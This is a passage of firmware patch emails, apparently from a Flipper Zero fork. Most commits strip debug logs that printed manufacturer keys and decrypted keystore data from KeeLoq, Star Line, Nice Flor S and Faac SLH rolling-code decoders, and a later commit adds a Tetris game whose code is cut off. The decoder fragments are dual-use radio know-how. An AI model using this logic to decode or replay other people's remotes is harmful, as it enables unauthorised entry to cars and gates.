if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -495,7 +491,6 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -505,7 +500,6 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_SECURE: man = subghz_protocol_keeloq_common_secure_learning( fix, seed, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -515,7 +509,6 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_MAGIC_XOR_TYPE_1: man = subghz_protocol_keeloq_common_magic_xor_type1_learning( fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -525,7 +518,6 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_UNKNOWN: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -546,7 +538,6 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -564,7 +555,6 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Secure Learning man = subghz_protocol_keeloq_common_secure_learning( fix, seed, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -582,7 +572,6 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Magic xor type1 learning man = subghz_protocol_keeloq_common_magic_xor_type1_learning( fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index fd228a149..518c55472 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -127,17 +127,8 @@ static void } instance->generic.cnt++; - FURI_LOG_I(TAG, "serial = %7X", instance->generic.serial); - FURI_LOG_I(TAG, "counter = %4X", instance->generic.cnt); - FURI_LOG_I(TAG, "button = %1X", btn); uint64_t decrypt = ((uint64_t)instance->generic.serial << 16) | instance->generic.cnt; - uint32_t hi = decrypt >> 32; - uint32_t lo = decrypt & 0xFFFFFFFF; - FURI_LOG_I(TAG, "decrypt = %3X%8X", hi, lo); uint64_t enc_part = subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); - hi = enc_part >> 32; - lo = enc_part & 0xFFFFFFFF; - FURI_LOG_I(TAG, "enc_part = %3X%8X", hi, lo); for (int i = 0; i < 16; i++) { @@ -148,10 +139,6 @@ static void byte = btn << 4 | (0xF ^ btn ^ loops[i]); instance->generic.data = (uint64_t)byte << 44 | enc_part; - - hi = instance->generic.data >> 32; - lo = instance->generic.data & 0xFFFFFFFF; - FURI_LOG_I(TAG, "key = %5X%8X", hi, lo); //Send header instance->encoder.upload[index++] = @@ -302,9 +289,7 @@ uint64_t subghz_protocol_nice_flor_s_encrypt(uint64_t data, const char* file_nam k = ~p[3]; p[3] = ~p[1]; p[1] = k; - uint32_t hi = data >> 32; - uint32_t lo = data & 0xFFFFFFFF; - FURI_LOG_I(TAG, "encrypted_data = %3X%8X", hi, lo); + return data; } @@ -343,9 +328,7 @@ static uint64_t p[1] = k; } } - uint32_t hi = data >> 32; - uint32_t lo = data & 0xFFFFFFFF; - FURI_LOG_I(TAG, "decrypted_data = %5X%8X", hi, lo); + return data; } @@ -490,9 +473,6 @@ static void subghz_protocol_nice_flor_s_remote_controller( instance->btn = 0; } else { uint64_t decrypt = subghz_protocol_nice_flor_s_decrypt(instance, file_name); - uint32_t hi = decrypt >> 32; - uint32_t lo = decrypt & 0xFFFFFFFF; - FURI_LOG_I(TAG, "init_decrypted_data = %5X%8X", hi, lo); instance->cnt = decrypt & 0xFFFF; instance->serial = (decrypt >> 16) & 0xFFFFFFF; instance->btn = (decrypt >> 48) & 0xF; diff --git a/lib/subghz/protocols/star_line.c b/lib/subghz/protocols/star_line.c index f7229678d..d00fb0384 100644 --- a/lib/subghz/protocols/star_line.c +++ b/lib/subghz/protocols/star_line.c @@ -153,7 +153,6 @@ static bool subghz_protocol_star_line_gen_data(SubGhzProtocolEncoderStarLine* in code_found_reverse = subghz_protocol_blocks_reverse_key( instance->generic.data, instance->generic.data_count_bit); hop = code_found_reverse & 0x00000000ffffffff; - FURI_LOG_I(TAG, "hop = %08lX", hop); break; } break; @@ -457,13 +456,10 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { - uint32_t hi = manufacture_code->key >> 32; - uint32_t lo = manufacture_code->key & 0xFFFFFFFF; switch(manufacture_code->type) { case KEELOQ_LEARNING_SIMPLE: //Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -474,7 +470,6 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -484,7 +479,6 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( case KEELOQ_LEARNING_UNKNOWN: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -506,7 +500,6 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); diff --git a/lib/subghz/subghz_keystore.c b/lib/subghz/subghz_keystore.c index a8de0ad35..250c6c4a8 100644 --- a/lib/subghz/subghz_keystore.c +++ b/lib/subghz/subghz_keystore.c @@ -139,7 +139,6 @@ static bool subghz_keystore_read_file(SubGhzKeystore* instance, Stream* stream, if(furi_hal_crypto_decrypt( (uint8_t*)encrypted_line, (uint8_t*)decrypted_line, len)) { subghz_keystore_process_line(instance, decrypted_line); - FURI_LOG_I(TAG, "decrypted line: %016lX", decrypted_line); } else { FURI_LOG_E(TAG, "Decryption failed"); result = false; @@ -580,9 +579,7 @@ bool subghz_keystore_raw_get_data(const char* file_name, size_t offset, uint8_t* buffer[i / 2] = (hi_nibble << 4) | lo_nibble; } - FURI_LOG_I(TAG, "decrypted line: %016lX", decrypted_line); memset(decrypted_line, 0, SUBGHZ_KEYSTORE_FILE_DECRYPTED_LINE_SIZE); - FURI_LOG_I(TAG, "decrypted line: %016lX", decrypted_line); if(!furi_hal_crypto_decrypt( (uint8_t*)buffer, (uint8_t*)decrypted_line, bufer_size / 2)) { @@ -591,7 +588,6 @@ bool subghz_keystore_raw_get_data(const char* file_name, size_t offset, uint8_t* break; } memcpy(data, (uint8_t*)decrypted_line + (offset - (offset / 16) * 16), len); - FURI_LOG_I(TAG, "decrypted line: %016lX", decrypted_line); } while(0); furi_hal_crypto_store_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT); From eb170098b849eedf091b089c65e1abe8840285d8 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 28 Apr 2022 13:33:22 +0300 Subject: [PATCH 148/461] remove extra furi logs, more --- applications/subghz/scenes/subghz_scene_set_cnt.c | 3 +-- applications/subghz/scenes/subghz_scene_set_fix.c | 4 +--- applications/subghz/scenes/subghz_scene_set_seed.c | 6 +++--- 3 files changed, 5 insertions(+), 8 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_cnt.c b/applications/subghz/scenes/subghz_scene_set_cnt.c index 0cee0faf1..3bd39b341 100644 --- a/applications/subghz/scenes/subghz_scene_set_cnt.c +++ b/applications/subghz/scenes/subghz_scene_set_cnt.c @@ -39,8 +39,7 @@ bool subghz_scene_set_cnt_on_event(void* context, SceneManagerEvent event) { void subghz_scene_set_cnt_on_exit(void* context) { SubGhz* subghz = context; - uint16_t cnt = subghz->txrx->secure_data->cnt[0] << 8 | subghz->txrx->secure_data->cnt[1]; - FURI_LOG_I(TAG, "cnt: %4X\n", cnt); + // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); byte_input_set_header_text(subghz->byte_input, ""); diff --git a/applications/subghz/scenes/subghz_scene_set_fix.c b/applications/subghz/scenes/subghz_scene_set_fix.c index fd59eabfc..b17a1852a 100644 --- a/applications/subghz/scenes/subghz_scene_set_fix.c +++ b/applications/subghz/scenes/subghz_scene_set_fix.c @@ -39,9 +39,7 @@ bool subghz_scene_set_fix_on_event(void* context, SceneManagerEvent event) { void subghz_scene_set_fix_on_exit(void* context) { SubGhz* subghz = context; - uint32_t fix = subghz->txrx->secure_data->fix[0] << 24 | subghz->txrx->secure_data->fix[1] << 16 | - subghz->txrx->secure_data->fix[2] << 8 | subghz->txrx->secure_data->fix[3]; - FURI_LOG_I(TAG, "fix: %8X\n", fix); + // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); byte_input_set_header_text(subghz->byte_input, ""); diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 3bc791bb5..008c6107a 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -35,12 +35,11 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { uint32_t fix_part = subghz->txrx->secure_data->fix[0] << 24 | subghz->txrx->secure_data->fix[1] << 16 | subghz->txrx->secure_data->fix[2] << 8 | subghz->txrx->secure_data->fix[3]; - FURI_LOG_I(TAG, "fix: %8X", fix_part); + uint16_t cnt = subghz->txrx->secure_data->cnt[0] << 8 | subghz->txrx->secure_data->cnt[1]; - FURI_LOG_I(TAG, "cnt: %8X", cnt); + uint32_t seed = subghz->txrx->secure_data->seed[0] << 24 | subghz->txrx->secure_data->seed[1] << 16 | subghz->txrx->secure_data->seed[2] << 8 | subghz->txrx->secure_data->seed[3]; - FURI_LOG_I(TAG, "seed: %8X", seed); subghz->txrx->transmitter = subghz_transmitter_alloc_init(subghz->txrx->environment, "Faac SLH"); @@ -93,6 +92,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { void subghz_scene_set_seed_on_exit(void* context) { SubGhz* subghz = context; + // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); byte_input_set_header_text(subghz->byte_input, ""); From 4a1b928229fc956e70fb42632c75bc16a15fc3af Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 28 Apr 2022 17:30:50 +0300 Subject: [PATCH 149/461] Update faac_slh.c --- lib/subghz/protocols/faac_slh.c | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 355d74096..6833e1187 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -397,7 +397,6 @@ static void subghz_protocol_faac_slh_check_remote_controller SubGhzKeystore* keystore, const char** manufacture_name) { instance->seed = seed_global; - FURI_LOG_I(TAG, "SEED (decrypt init): %8X\n", instance->seed); uint32_t code_fix = instance->data >> 32; uint32_t code_hop = instance->data & 0xFFFFFFFF; instance->serial = code_fix >> 4; From b0edd5b18c28d9e1179f355ee9b2fe79dc891d8e Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 4 May 2022 15:32:09 +0300 Subject: [PATCH 150/461] match submodules to origin --- lib/FreeRTOS-Kernel | 2 +- lib/littlefs | 2 +- lib/nanopb | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/FreeRTOS-Kernel b/lib/FreeRTOS-Kernel index cf6850583..4c4089b15 160000 --- a/lib/FreeRTOS-Kernel +++ b/lib/FreeRTOS-Kernel @@ -1 +1 @@ -Subproject commit cf6850583c7c7b69726531dd56fa0264159f1750 +Subproject commit 4c4089b1544b590ed3b72491a15365ec020c921f diff --git a/lib/littlefs b/lib/littlefs index 40dba4a55..1863dc788 160000 --- a/lib/littlefs +++ b/lib/littlefs @@ -1 +1 @@ -Subproject commit 40dba4a556e0d81dfbe64301a6aa4e18ceca896c +Subproject commit 1863dc7883d82bd6ca79faa164b65341064d1c16 diff --git a/lib/nanopb b/lib/nanopb index b574ac5ae..c9124132a 160000 --- a/lib/nanopb +++ b/lib/nanopb @@ -1 +1 @@ -Subproject commit b574ac5aedbc72e3b47030e67d88e28b56ad79e0 +Subproject commit c9124132a604047d0ef97a09c0e99cd9bed2c818 From 5e837ec32608b1efde3390df89a7f6fe41a72570 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 6 May 2022 17:07:54 +0300 Subject: [PATCH 151/461] Update libusb_stm32 --- lib/libusb_stm32 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/libusb_stm32 b/lib/libusb_stm32 index 6e64179d6..fd58c2b04 160000 --- a/lib/libusb_stm32 +++ b/lib/libusb_stm32 @@ -1 +1 @@ -Subproject commit 6e64179d64e5582014a637a108d0870191f7818d +Subproject commit fd58c2b04710554626ac69d9fb5fa1211d1bcaf0 From 760f3da46ed548fb46446393905d943beec315c1 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 6 May 2022 17:10:13 +0300 Subject: [PATCH 152/461] Update libusb_stm32 --- lib/libusb_stm32 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/libusb_stm32 b/lib/libusb_stm32 index fd58c2b04..6e64179d6 160000 --- a/lib/libusb_stm32 +++ b/lib/libusb_stm32 @@ -1 +1 @@ -Subproject commit fd58c2b04710554626ac69d9fb5fa1211d1bcaf0 +Subproject commit 6e64179d64e5582014a637a108d0870191f7818d From c23a4b62e51cf24e7b067d2da8733ca0103dcd42 Mon Sep 17 00:00:00 2001 From: Logan McKenna Date: Fri, 6 May 2022 11:51:02 -0500 Subject: [PATCH 153/461] add tetris game from jeffplang --- applications/applications.c | 8 + applications/applications.mk | 7 + applications/tetris_game/tetris_game.c | 405 +++++++++++++++++++++++++ 3 files changed, 420 insertions(+) create mode 100644 applications/tetris_game/tetris_game.c diff --git a/applications/applications.c b/applications/applications.c index 4deae885b..7067685f7 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -48,6 +48,7 @@ extern int32_t text_box_test_app(void* p); // Plugins extern int32_t music_player_app(void* p); extern int32_t snake_game_app(void* p); +extern int32_t tetris_game_app(void *p); // On system start hooks declaration extern void bt_on_system_start(); @@ -349,6 +350,13 @@ const FlipperApplication FLIPPER_PLUGINS[] = { .icon = &A_Plugins_14, .flags = FlipperApplicationFlagDefault}, #endif + +#ifdef APP_TETRIS_GAME + {.app = tetris_game_app, + .name = "Tetris Game", + .stack_size = 1024, + .icon = NULL}, +#endif }; const size_t FLIPPER_PLUGINS_COUNT = COUNT_OF(FLIPPER_PLUGINS); diff --git a/applications/applications.mk b/applications/applications.mk index efe6aa425..2508395d7 100644 --- a/applications/applications.mk +++ b/applications/applications.mk @@ -47,6 +47,7 @@ APP_UPDATER = 1 # Plugins APP_MUSIC_PLAYER = 1 APP_SNAKE_GAME = 1 +APP_TETRIS_GAME = 1 # Debug APP_ACCESSOR = 1 @@ -234,6 +235,12 @@ CFLAGS += -DAPP_SNAKE_GAME SRV_GUI = 1 endif +APP_TETRIS_GAME ?= 0 +ifeq ($(APP_TETRIS_GAME), 1) +CFLAGS += -DAPP_TETRIS_GAME +SRV_GUI = 1 +endif + APP_IBUTTON ?= 0 ifeq ($(APP_IBUTTON), 1) CFLAGS += -DAPP_IBUTTON diff --git a/applications/tetris_game/tetris_game.c b/applications/tetris_game/tetris_game.c new file mode 100644 index 000000000..222728114 --- /dev/null +++ b/applications/tetris_game/tetris_game.c @@ -0,0 +1,405 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#define BORDER_OFFSET 1 +#define MARGIN_OFFSET 3 +#define BLOCK_HEIGHT 6 +#define BLOCK_WIDTH 6 + +#define FIELD_WIDTH 11 +#define FIELD_HEIGHT 24 + +typedef struct Point { + // Also used for offset data, which is sometimes negative + int8_t x, y; +} Point; + +// Rotation logic taken from +// https://www.youtube.com/watch?v=yIpk5TJ_uaI +typedef enum { + OffsetTypeCommon, + OffsetTypeI, + OffsetTypeO +} OffsetType; + +// Since we only support rotating clockwise, these are actual translation values, +// not values to be subtracted to get translation values + +static const Point rotOffsetTranslation[3][4][5] = { + { + { {0,0}, {-1,0}, {-1,-1}, {0,2}, {-1,2} }, + { {0,0}, {1,0}, {1,1}, {0,-2}, {1,-2} }, + { {0,0}, {1,0}, {1,-1}, {0,2}, {1,2} }, + { {0,0}, {-1,0}, {-1,1}, {0,-2}, {-1,-2} } + }, + { + { {1,0}, {-1,0}, {2,0}, {-1,1}, {2,-2} }, + { {0,1}, {-1,1}, {2,1}, {-1,-1}, {2,2} }, + { {-1,0}, {1,0}, {-2,0}, {1,-1}, {-2,2} }, + { {0,-1}, {1,-1}, {-2,-1}, {1,1}, {-2,-2} } + }, + { + { {0,-1}, {0,0}, {0,0}, {0,0}, {0,0} }, + { {1,0}, {0,0}, {0,0}, {0,0}, {0,0} }, + { {0,1}, {0,0}, {0,0}, {0,0}, {0,0} }, + { {-1,0}, {0,0}, {0,0}, {0,0}, {0,0} } + } +}; + +typedef struct { + Point p[4]; + uint8_t rotIdx; + OffsetType offsetType; +} Piece; + +// Shapes @ spawn locations, rotation point first +static const Piece shapes[] = { + { .p = {{5, 1}, {4, 0}, {5, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // Z + { .p = {{5, 1}, {4, 1}, {5, 0}, {6, 0}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // S + { .p = {{5, 1}, {4, 1}, {6, 1}, {6, 0}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // L + { .p = {{5, 1}, {4, 0}, {4, 1}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // J + { .p = {{5, 1}, {4, 1}, {5, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // T + { .p = {{5, 1}, {4, 1}, {6, 1}, {7, 1}}, .rotIdx = 0, .offsetType = OffsetTypeI }, // I + { .p = {{5, 1}, {5, 0}, {6, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeO } // O +}; + +typedef struct { + bool playField[FIELD_HEIGHT][FIELD_WIDTH]; + Piece currPiece; +} TetrisState; + +typedef enum { + EventTypeTick, + EventTypeKey, +} EventType; + +typedef struct { + EventType type; + InputEvent input; +} TetrisEvent; + +static void tetris_game_draw_border(Canvas* const canvas) { + canvas_draw_line(canvas, 0, 0, 0, 127); + canvas_draw_line(canvas, 0, 127, 63, 127); + canvas_draw_line(canvas, 63, 127, 63, 0); + + canvas_draw_line(canvas, 2, 0, 2, 125); + canvas_draw_line(canvas, 2, 125, 61, 125); + canvas_draw_line(canvas, 61, 125, 61, 0); +} + +static void tetris_game_draw_playfield(Canvas* const canvas, const TetrisState* tetris_state) { + // Playfield: 11 x 24 + + for (int y = 0; y < FIELD_HEIGHT; y++) { + for (int x = 0; x < FIELD_WIDTH; x++) { + if (tetris_state->playField[y][x]) { + uint16_t xOffset = x * 5; + uint16_t yOffset = y * 5; + + canvas_draw_rframe( + canvas, + BORDER_OFFSET + MARGIN_OFFSET + xOffset, + BORDER_OFFSET + MARGIN_OFFSET + yOffset - 1, + BLOCK_WIDTH, + BLOCK_HEIGHT, + 1 + ); + canvas_draw_dot( + canvas, + BORDER_OFFSET + MARGIN_OFFSET + xOffset + 2, + BORDER_OFFSET + MARGIN_OFFSET + yOffset + 1 + ); + canvas_draw_dot( + canvas, + BORDER_OFFSET + MARGIN_OFFSET + xOffset + 3, + BORDER_OFFSET + MARGIN_OFFSET + yOffset + 1 + ); + canvas_draw_dot( + canvas, + BORDER_OFFSET + MARGIN_OFFSET + xOffset + 2, + BORDER_OFFSET + MARGIN_OFFSET + yOffset + 2 + ); + } + } + } +} + +static void tetris_game_render_callback(Canvas* const canvas, void* ctx) { + const TetrisState* tetris_state = acquire_mutex((ValueMutex*)ctx, 25); + if(tetris_state == NULL) { + FURI_LOG_E("TetrisGame", "it null"); + return; + } + + tetris_game_draw_border(canvas); + tetris_game_draw_playfield(canvas, tetris_state); + release_mutex((ValueMutex *)ctx, tetris_state); + } + +static void tetris_game_input_callback(InputEvent* input_event, osMessageQueueId_t event_queue) { + furi_assert(event_queue); + + TetrisEvent event = {.type = EventTypeKey, .input = *input_event}; + osMessageQueuePut(event_queue, &event, 0, osWaitForever); +} + +static void tetris_game_init_state(TetrisState* tetris_state) { + memset(tetris_state->playField, 0, sizeof(tetris_state->playField)); + + memcpy(&tetris_state->currPiece, &shapes[rand() % 7], sizeof(tetris_state->currPiece)); +} + +static void tetris_game_remove_curr_piece(TetrisState* tetris_state) { + for (int i = 0; i < 4; i++) { + uint8_t x = tetris_state->currPiece.p[i].x; + uint8_t y = tetris_state->currPiece.p[i].y; + + tetris_state->playField[y][x] = false; + } +} + +static void tetris_game_render_curr_piece(TetrisState* tetris_state) { + for (int i = 0; i < 4; i++) { + uint8_t x = tetris_state->currPiece.p[i].x; + uint8_t y = tetris_state->currPiece.p[i].y; + + tetris_state->playField[y][x] = true; + } +} + +static void tetris_game_rotate_shape(Point currShape[], Point newShape[]) { + // Copy shape data + for(int i = 0; i < 4; i++) { + newShape[i] = currShape[i]; + } + + for (int i = 1; i < 4; i++) { + int8_t relX = currShape[i].x - currShape[0].x; + int8_t relY = currShape[i].y - currShape[0].y; + + // Matrix rotation thing + int8_t newRelX = (relX * 0) + (relY * -1); + int8_t newRelY = (relX * 1) + (relY * 0); + + newShape[i].x = currShape[0].x + newRelX; + newShape[i].y = currShape[0].y + newRelY; + } +} + +static void tetris_game_apply_kick(Point points[], Point kick) { + for(int i = 0; i < 4; i++) { + points[i].x += kick.x; + points[i].y += kick.y; + } +} + +static bool tetris_game_is_valid_pos(TetrisState* tetris_state, Point* shape) { + for (int i = 0; i < 4; i++) { + if(shape[i].x < 0 || shape[i].x > (FIELD_WIDTH - 1) || tetris_state->playField[shape[i].y][shape[i].x] == true) { + return false; + } + } + return true; +} + +static void tetris_game_try_rotation(TetrisState* tetris_state, Piece *newPiece) { + uint8_t currRotIdx = tetris_state->currPiece.rotIdx; + + Point *rotatedShape = malloc(sizeof(Point) * 4); + Point *kickedShape = malloc(sizeof(Point) * 4); + + memcpy(rotatedShape, &tetris_state->currPiece.p, sizeof(tetris_state->currPiece.p)); + + tetris_game_rotate_shape(tetris_state->currPiece.p, rotatedShape); + + for(int i = 0; i < 5; i++) { + memcpy(kickedShape, rotatedShape, (sizeof(Point) * 4)); + tetris_game_apply_kick(kickedShape, rotOffsetTranslation[newPiece->offsetType][currRotIdx][i]); + + if(tetris_game_is_valid_pos(tetris_state, kickedShape)) { + memcpy(&newPiece->p, kickedShape, sizeof(newPiece->p)); + newPiece->rotIdx = (newPiece->rotIdx + 1) % 4; + break; + } + } + free(rotatedShape); + free(kickedShape); +} + +static bool tetris_game_row_is_line(bool row[]) { + for(int i = 0; i < FIELD_WIDTH; i++) { + if(row[i] == false) + return false; + } + return true; +} + +static void tetris_game_check_for_lines(TetrisState* tetris_state, uint8_t* lines, uint8_t* numLines) { + for(int i = 0; i < FIELD_HEIGHT; i++) { + if(tetris_game_row_is_line(tetris_state->playField[i])) { + *(lines++) = i; + *numLines += 1; + } + } +} + +static bool tetris_game_piece_at_bottom(TetrisState* tetris_state, Piece* newPiece) { + for (int i = 0; i < 4; i++) { + Point *pos = (Point *)&newPiece->p; + if (pos[i].y >= FIELD_HEIGHT || tetris_state->playField[pos[i].y][pos[i].x] == true) { + return true; + } + } + return false; +} + +static void tetris_game_update_timer_callback(osMessageQueueId_t event_queue) { + furi_assert(event_queue); + + TetrisEvent event = {.type = EventTypeTick}; + osMessageQueuePut(event_queue, &event, 0, osWaitForever); +} + + +int32_t tetris_game_app(void* p) { + UNUSED(p); + srand(DWT->CYCCNT); + + osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(TetrisEvent), NULL); + + TetrisState* tetris_state = malloc(sizeof(TetrisState)); + tetris_game_init_state(tetris_state); + + ValueMutex state_mutex; + if(!init_mutex(&state_mutex, tetris_state, sizeof(TetrisState))) { + FURI_LOG_E("TetrisGame", "cannot create mutex\r\n"); + free(tetris_state); + return 255; + } + + ViewPort* view_port = view_port_alloc(); + view_port_set_orientation(view_port, ViewPortOrientationVertical); + view_port_draw_callback_set(view_port, tetris_game_render_callback, &state_mutex); + view_port_input_callback_set(view_port, tetris_game_input_callback, event_queue); + + osTimerId_t timer = + osTimerNew(tetris_game_update_timer_callback, osTimerPeriodic, event_queue, NULL); + osTimerStart(timer, 500U); + + // Open GUI and register view_port + Gui* gui = furi_record_open("gui"); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + + TetrisEvent event; + // Point *newShape = malloc(sizeof(Point) * 4); + Piece *newPiece = malloc(sizeof(Piece)); + + for(bool processing = true; processing;) { + osStatus_t event_status = osMessageQueueGet(event_queue, &event, NULL, 100); + + TetrisState* tetris_state = (TetrisState*)acquire_mutex_block(&state_mutex); + + memcpy(newPiece, &tetris_state->currPiece, sizeof(tetris_state->currPiece)); + bool wasDownMove = false; + + if(event_status == osOK) { + if(event.type == EventTypeKey) { + if(event.input.type == InputTypePress || event.input.type == InputTypeLong || event.input.type == InputTypeRepeat) { + switch(event.input.key) { + case InputKeyUp: + + break; + case InputKeyDown: + for (int i = 0; i < 4; i++) { + newPiece->p[i].y += 1; + } + wasDownMove = true; + break; + case InputKeyRight: + for (int i = 0; i < 4; i++) { + newPiece->p[i].x += 1; + } + break; + case InputKeyLeft: + for (int i = 0; i < 4; i++) { + newPiece->p[i].x -= 1; + } + break; + case InputKeyOk: + tetris_game_remove_curr_piece(tetris_state); + tetris_game_try_rotation(tetris_state, newPiece); + tetris_game_render_curr_piece(tetris_state); + break; + case InputKeyBack: + processing = false; + break; + } + } + } else if(event.type == EventTypeTick) { + // TODO: This is inverted. it returns true when the button is not pressed. + // see macro in input.c and do that + if(furi_hal_gpio_read(&gpio_button_right)) { + for (int i = 0; i < 4; i++) { + newPiece->p[i].y += 1; + } + wasDownMove = true; + } + } + } + + tetris_game_remove_curr_piece(tetris_state); + + if(wasDownMove) { + if(tetris_game_piece_at_bottom(tetris_state, newPiece)) { + tetris_game_render_curr_piece(tetris_state); + uint8_t numLines = 0; + uint8_t lines[] = { 0,0,0,0 }; + + tetris_game_check_for_lines(tetris_state, lines, &numLines); + for(int i = 0; i < numLines; i++) { + + // zero/falsify out row + for(int j = 0; j < FIELD_WIDTH; j++) { + 